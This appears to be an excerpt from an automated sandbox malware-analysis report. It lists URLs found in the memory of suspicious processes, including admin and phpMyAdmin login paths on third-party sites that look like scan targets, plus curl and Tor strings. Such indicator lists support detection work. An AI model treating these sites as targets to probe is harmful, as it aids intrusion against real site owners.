Source: explorer.exe, 00000001.00000000.1696442316.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu
Source: explorer.exe, 00000001.00000000.1696442316.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.shopify.com/shopifycloud/storefront-recaptcha-v3/v0.6/index.js
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js
Source: 7B24.exe, 0000000D.00000002.2396335073.00000000051B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 7B24.exe, 0000000D.00000002.2396335073.00000000051B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://collinsgordonhenry.com/phpmyadmin/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://collinsgordonhenry.com/phpmyadmin/5856.com228K1
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://copyset.com/phpmyadmin/
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://copyset.com/phpmyadmin/b
Source: 5316.exe, 00000007.00000002.2873592935.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 0000000F.00000002.4115690481.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: csrss.exe, 0000000F.00000002.4115690481.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 5316.exe, 00000007.00000002.2873592935.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 0000000F.00000002.4115690481.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: 7B24.exe, 0000000D.00000002.2396335073.00000000051B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 7B24.exe, 0000000D.00000002.2396335073.00000000051B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 7B24.exe, 0000000D.00000002.2396335073.00000000051B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: explorer.exe, 00000001.00000000.1699998301.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Lato%3A400%2C500%2C600%2C700%7CPoppins%3A400%2C500%2C600%2C7
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Source
Source: 7017.exe, 00000011.00000003.2178547651.000001BADBFE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: 7017.exe, 00000011.00000003.2178547651.000001BADBFE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: 7017.exe, 00000011.00000003.2178547651.000001BADBFE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: 7017.exe, 00000011.00000003.2178547651.000001BADBFE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: 7017.exe, 00000011.00000003.2178547651.000001BADBFE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gmpg.org/xfn/11
Source: 5316.exe, 00000007.00000002.2896435412.0000000003AB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greenlawnfertilizing.com/admin
Source: 5316.exe, 00000007.00000002.2896435412.0000000003AB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greenlawnfertilizing.com/admindproject.org-
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp, 5316.exe, 00000007.00000002.2884998984.0000000002A58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://images.squarespace-cdn.com
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp, 5316.exe, 00000007.00000002.2884998984.0000000002A58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://images.squarespace-cdn.com/content/v1/61e09303caa6a72878905d57/6e961866-3148-4a0f-8bec-2f493
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hlXIY.img
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAKSoFp.img
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAXaopi.img
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ.img
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBqlLky.img
Source: explorer.exe, 00000001.00000000.1696442316.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img
Source: 5316.exe, 00000007.00000002.2896435412.0000000003A83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://img1.wsimg.com/parking-lander/static/css/main.39c9adf8.css
Source: 5316.exe, 00000007.00000002.2896435412.0000000003A83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://img1.wsimg.com/parking-lander/static/js/main.47d29676.js
Source: 5316.exe, 00000007.00000002.2896435412.0000000003A83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://img6.wsimg.com/wrhs/7a94ef1f1f352aaf85d641a223ed6f00/consent-main.js
Source: 5316.exe, 00000007.00000002.2896435412.0000000003A83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://img6.wsimg.com/wrhs/a9b1ba6f900ffd6f58214865791494f1/consent-main.css
Source: 5316.exe, 00000007.00000002.2896435412.0000000003A83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lsmnutrition.com/administrator/
Source: 5316.exe, 00000007.00000002.2893685989.00000000038E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lunarrastar.com/phpmyadmin/
Source: 5316.exe, 00000007.00000002.2893685989.00000000038E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lunarrastar.com/phpmyadmin/m
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/comments/feed/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/feed/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/active-filter
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/add-to-cart-f
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/all-products.
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/all-reviews.c
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/attribute-fil
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/breadcrumbs.c
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/cart.css?ver=
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/catalog-sorti
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/checkout.css?
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/customer-acco
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/featured-cate
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/featured-prod
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/mini-cart-con
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/mini-cart.css
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/packages-styl
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/price-filter.
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/product-add-t
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/product-butto
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/product-categ
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/product-detai
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/product-image
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/product-query
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/product-resul
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/product-revie
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/product-sale-
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/product-searc
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/product-sku.c
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/product-stock
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/product-summa
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/product-title
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/rating-filter
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/reviews-by-ca
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/reviews-by-pr
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/single-produc
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/stock-filter.
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/wc-blocks.css
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/themes/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/themes/twentytwenty/assets/css/majormega.webflow.css?ver=2.0
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/themes/twentytwenty/assets/css/normalize.css?ver=2.0
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-content/themes/twentytwenty/assets/js/index.js?ver=2.0
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-includes/css/dist/block-library/style.min.css?ver=6.3.2
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://majormega.com/wp-includes/js/jquery/jquery.min.js?ver=3.7.0
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monorail-edge.shopifysvc.com
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monorail-edge.shopifysvc.com/v1/produce
Source: explorer.exe, 00000001.00000000.1699998301.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com_
Source: explorer.exe, 00000001.00000000.1699998301.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcember
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://redirects.eastsideco.io/js/app.js
Source: 5316.exe, 00000007.00000003.2067756719.0000000002AC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sabotage.net
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shop.artusopastry.com/
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://simpleflying.com/how-do-you-become-an-air-traffic-controller/
Source: 5316.exe, 00000007.00000002.2893685989.00000000037EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/a/collinsgordonhenry.com/sites/system/app/pages/meta/domainWelcome
Source: 5316.exe, 00000007.00000002.2899218339.0000000003BDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/sites/p/d87113/system/app/pages/meta/domainWelcome/bShad.gif);
Source: 5316.exe, 00000007.00000002.2899218339.0000000003BDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/sites/p/d87113/system/app/pages/meta/domainWelcome/lBotCorner.gif);
Source: 5316.exe, 00000007.00000002.2899218339.0000000003BDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/sites/p/d87113/system/app/pages/meta/domainWelcome/lShad.gif);
Source: 5316.exe, 00000007.00000002.2899218339.0000000003BDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/sites/p/d87113/system/app/pages/meta/domainWelcome/lTopCorner.gif);
Source: 5316.exe, 00000007.00000002.2899218339.0000000003BDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/sites/p/d87113/system/app/pages/meta/domainWelcome/rBotCorner.gif);
Source: 5316.exe, 00000007.00000002.2899218339.0000000003BDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/sites/p/d87113/system/app/pages/meta/domainWelcome/rShad.gif);
Source: 5316.exe, 00000007.00000002.2899218339.0000000003BDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/sites/p/d87113/system/app/pages/meta/domainWelcome/rTopCorner.gif);
Source: 5316.exe, 00000007.00000002.2899218339.0000000003BDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/sites/p/d87113/system/app/pages/meta/domainWelcome/tShad.gif);
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static-na.payments-amazon.com/OffAmazonPayments/us/js/Widgets.js
Source: 5316.exe, 00000007.00000002.2873592935.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 0000000F.00000002.4115690481.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://trac.torproject.org/projects/tor/ticket/14917.
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://turnitin.com/robot/crawlerinfo.html)cannot
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/about/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/contact/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/custom-designs/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/galleries/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/galleries/commercial/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/galleries/contemporary-projects/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/galleries/custom-vent-hoods/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/galleries/metalwork-projects/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/galleries/residential/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/gallery/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/my-favorites/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/options/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/options/finishes/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/options/lenses/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/ordering/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/products/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/products/address-lights/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/products/all-landscape-lighting/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/products/all-wall-lighting/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/products/cabinet-door-panels/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/products/ceiling-fan-light-covers/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/products/ceiling-fixtures/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/products/ceiling-lighting/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/products/chandeliers/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/products/dark-sky-fixtures/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/products/fireplace-screens/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/products/hanging-lanterns/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/products/landscape-lights/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/products/mailboxes/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/products/metalwork/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/products/mirrors/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/products/post-lanterns/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/products/value-line-sconces/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/products/vent-hoods/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/products/wall-lanterns/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/products/wall-sconces/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/resources/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/wp-content/uploads/2019/07/cropped-Harlingen-HQ-rot-180x180.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/wp-content/uploads/2019/07/cropped-Harlingen-HQ-rot-192x192.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twohillsstudio.com/wp-content/uploads/2019/07/cropped-Harlingen-HQ-rot-270x270.jpg
